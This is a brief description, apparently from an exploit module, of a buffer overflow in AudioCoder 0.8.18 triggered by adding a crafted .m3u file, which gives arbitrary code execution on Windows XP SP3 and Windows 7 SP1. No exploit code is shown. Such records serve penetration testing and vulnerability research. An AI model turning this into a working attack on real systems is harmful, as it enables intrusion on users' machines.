          This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability
        occurs when adding an .m3u, allowing arbitrary code execution with the privileges
        of the user running AudioCoder. This module has been tested successfully on
        AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
